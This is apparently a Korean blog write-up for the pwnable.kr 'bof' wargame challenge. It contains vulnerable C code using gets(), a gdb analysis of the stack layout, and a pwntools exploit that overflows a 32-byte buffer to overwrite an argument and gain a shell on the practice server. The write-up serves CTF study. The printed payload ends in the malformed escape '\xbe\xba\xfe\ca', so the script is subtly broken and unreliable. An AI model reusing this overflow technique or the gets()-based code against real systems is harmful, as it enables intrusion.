주어진 c파일을 먼저 확인해보자
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
대충 gets 함수를 사용하고 있으니 bof 시키라는 것 같다.
이제 실행파일을 받아 실행해보자.
이제 gdb를 이용해 분석을 해보자.
C코드에서 가장 먼저 시작하는 func 함수부터 살펴보자.
여기서 우리는 bof를 시킬 수 있는 gets 함수의 인자를 찾아봐야한다.
<+29> 코드를 보면 [ebp-0x2c] 부분의 주소를 eax에 넣어주고,
<+32> 코드에서 esp가 가르키는 부분에 eax를 넣어주게되니
[ebp-0x2c] 부분에 gets 함수가 있음을 알 수 있다.
44 byte 에다가 SFP와 RET의 용량까지 합쳐 총 52 byte 공간을 매꿔주면 된다.
pwntools 스크립트를 짜보자.
from pwn import *
p = remote("pwnable.kr",9000)
payload = "A"*52 + "\xbe\xba\xfe\ca"
p.sendline(payload)
p.interactive()
'CTF 중점 스터디' 카테고리의 다른 글
Wargame.kr_type confusion_Write up (0) | 2019.12.21 |
---|---|
Pwnable.kr cmd1 Write-up (0) | 2019.12.20 |
N00bCTF Compare Write-up (0) | 2019.12.14 |
Protostar heap1 Writeup (0) | 2019.12.09 |
Pwnable.kr asm Write-up (0) | 2019.12.08 |